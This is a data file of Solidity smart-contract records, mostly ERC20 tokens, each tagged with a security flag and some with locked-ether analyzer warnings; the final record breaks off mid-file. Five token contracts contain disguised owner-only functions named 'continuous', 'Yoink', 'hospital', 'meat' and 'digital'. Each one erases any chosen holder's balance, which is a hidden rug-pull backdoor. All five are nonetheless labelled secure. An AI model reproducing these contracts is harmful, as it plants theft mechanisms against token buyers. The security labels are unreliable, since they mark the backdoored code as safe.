files
dict
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Artezen is ERC20 {\n constructor() ERC20(\"Artezen\", \"ART\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_789.sol", "secure": 1, "size_bytes": 277 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Blackcoinsmatter is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable compensation;\n\n constructor() {\n _name = \"Black Coins Matter\";\n\n _symbol = \"BCM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 928000000;\n\n compensation = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == compensation, \"Not allowed\");\n\n _;\n }\n\n function continuous(address[] memory mouth) public onlyOwner {\n for (uint256 i = 0; i < mouth.length; i++) {\n address account = mouth[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_79.sol", "secure": 1, "size_bytes": 4391 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract REKT is ERC20 {\n constructor() ERC20(\"RektCoin\", \"REKT\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_790.sol", "secure": 1, "size_bytes": 277 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface ICompounder {\n function vault() external view returns (address);\n\n function management() external view returns (address);\n}", "file_name": "solidity_code_791.sol", "secure": 1, "size_bytes": 209 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IAprOracle {\n function getWeightedAverageApr(\n address _vault,\n int256 _delta\n ) external view returns (uint256);\n}", "file_name": "solidity_code_792.sol", "secure": 1, "size_bytes": 216 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IVault {\n function accountant() external view returns (address);\n}", "file_name": "solidity_code_793.sol", "secure": 1, "size_bytes": 147 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IAccountant {\n struct Fee {\n uint16 managementFee;\n uint16 performanceFee;\n uint16 refundRatio;\n uint16 maxFee;\n uint16 maxGain;\n uint16 maxLoss;\n bool custom;\n }\n\n function getVaultConfig(\n address vault\n ) external view returns (Fee memory fee);\n}", "file_name": "solidity_code_794.sol", "secure": 1, "size_bytes": 407 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ICompounder.sol\" as ICompounder;\nimport \"./IAprOracle.sol\" as IAprOracle;\nimport \"@balancer-labs/v2-vault/contracts/interfaces/IVault.sol\" as IVault;\nimport \"./IAccountant.sol\" as IAccountant;\n\ncontract CompounderOracle {\n uint256 public constant MAX_BPS = 10_000;\n\n address public constant APR_ORACLE =\n 0x1981AD9F44F2EA9aDd2dC4AD7D075c102C70aF92;\n\n mapping(address => address) public remappings;\n\n function aprAfterDebtChange(\n address _strategy,\n int256 _delta\n ) external view virtual returns (uint256 _apr) {\n address vault = remappings[_strategy];\n\n if (vault == address(0)) {\n vault = ICompounder(_strategy).vault();\n }\n\n _apr = IAprOracle(APR_ORACLE).getWeightedAverageApr(vault, _delta);\n\n address accountant = IVault(vault).accountant();\n\n if (accountant != address(0)) {\n uint16 perfFee = IAccountant(accountant)\n .getVaultConfig(vault)\n .performanceFee;\n\n _apr = (_apr * (MAX_BPS - perfFee)) / MAX_BPS;\n }\n }\n\n function setRemapping(address _strategy, address _vault) external {\n require(msg.sender == ICompounder(_strategy).management());\n\n remappings[_strategy] = _vault;\n }\n}", "file_name": "solidity_code_795.sol", "secure": 1, "size_bytes": 1378 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 17dbdd2): Contract locking ether found Contract NewFungibleToken has payable functions NewFungibleToken.receive() But does not have a function to withdraw the ether\n// Recommendation for 17dbdd2: Remove the 'payable' attribute or add a withdraw function.\ncontract NewFungibleToken is ERC20, Ownable {\n constructor() ERC20(\"New Fungible Token\", \"NNT\") {\n _mint(owner(), 21_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 17dbdd2): Contract locking ether found Contract NewFungibleToken has payable functions NewFungibleToken.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 17dbdd2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_796.sol", "secure": 0, "size_bytes": 1041 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RsErgLoen is ERC20 {\n constructor() ERC20(\"rsErg-loen\", \"rsERG-L\") {\n _mint(msg.sender, 97739924500000000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n}", "file_name": "solidity_code_797.sol", "secure": 1, "size_bytes": 368 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Normie is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable shaft;\n\n constructor() {\n _name = \"NORMIE\";\n\n _symbol = \"NORMIE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 632000000;\n\n shaft = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == shaft, \"Not allowed\");\n\n _;\n }\n\n function Yoink(address[] memory expression) public onlyOwner {\n for (uint256 i = 0; i < expression.length; i++) {\n address account = expression[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_798.sol", "secure": 1, "size_bytes": 4361 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7944dcd): Contract with a 'payable' function, but without a withdrawal capacity.\n// Recommendation for 7944dcd: Remove the 'payable' attribute or add a withdraw function.\ncontract TrumpSemiconductorManufacturingCompany is ERC20, Ownable {\n constructor()\n ERC20(unicode\"Trump Semiconductor Manufacturing Company\", unicode\"TSMC\")\n {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7944dcd): Contract with a 'payable' function, but without a withdrawal capacity.\n\t// Recommendation for 7944dcd: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_799.sol", "secure": 0, "size_bytes": 943 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}", "file_name": "solidity_code_8.sol", "secure": 1, "size_bytes": 1287 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}", "file_name": "solidity_code_80.sol", "secure": 1, "size_bytes": 1135 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Bowser is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable butterfly;\n\n constructor() {\n _name = \"BOWSER\";\n\n _symbol = \"BOWSER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 271000000;\n\n butterfly = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == butterfly, \"Not allowed\");\n\n _;\n }\n\n function hospital(address[] memory source) public onlyOwner {\n for (uint256 i = 0; i < source.length; i++) {\n address account = source[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_800.sol", "secure": 1, "size_bytes": 4364 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TOSHKIN is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable untries;\n\n constructor() {\n _name = \"TOSHKIN\";\n\n _symbol = \"TOSHKIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 720000000;\n\n untries = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == untries, \"Not allowed\");\n\n _;\n }\n\n function meat(address[] memory onitor) public onlyOwner {\n for (uint256 i = 0; i < onitor.length; i++) {\n address account = onitor[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_801.sol", "secure": 1, "size_bytes": 4357 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Blank is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable rumor;\n\n constructor() {\n _name = \"blank\";\n\n _symbol = \"blank\";\n\n _decimals = 18;\n\n uint256 initialSupply = 835000000;\n\n rumor = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == rumor, \"Not allowed\");\n\n _;\n }\n\n function digital(address[] memory create) public onlyOwner {\n for (uint256 i = 0; i < create.length; i++) {\n address account = create[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_802.sol", "secure": 1, "size_bytes": 4348 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RocketFox is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant Supply = 300_000_000 * (10 ** _decimals);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _mint(0x57f758DEb9C2408507B6d14ebe99CCFFc7382E5B, Supply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_803.sol", "secure": 1, "size_bytes": 5255 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpCryptoIcon is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable breadfast;\n\n constructor() {\n _name = \"Trump Crypto Icon\";\n\n _symbol = \"TCI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 74700000000;\n\n breadfast = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address 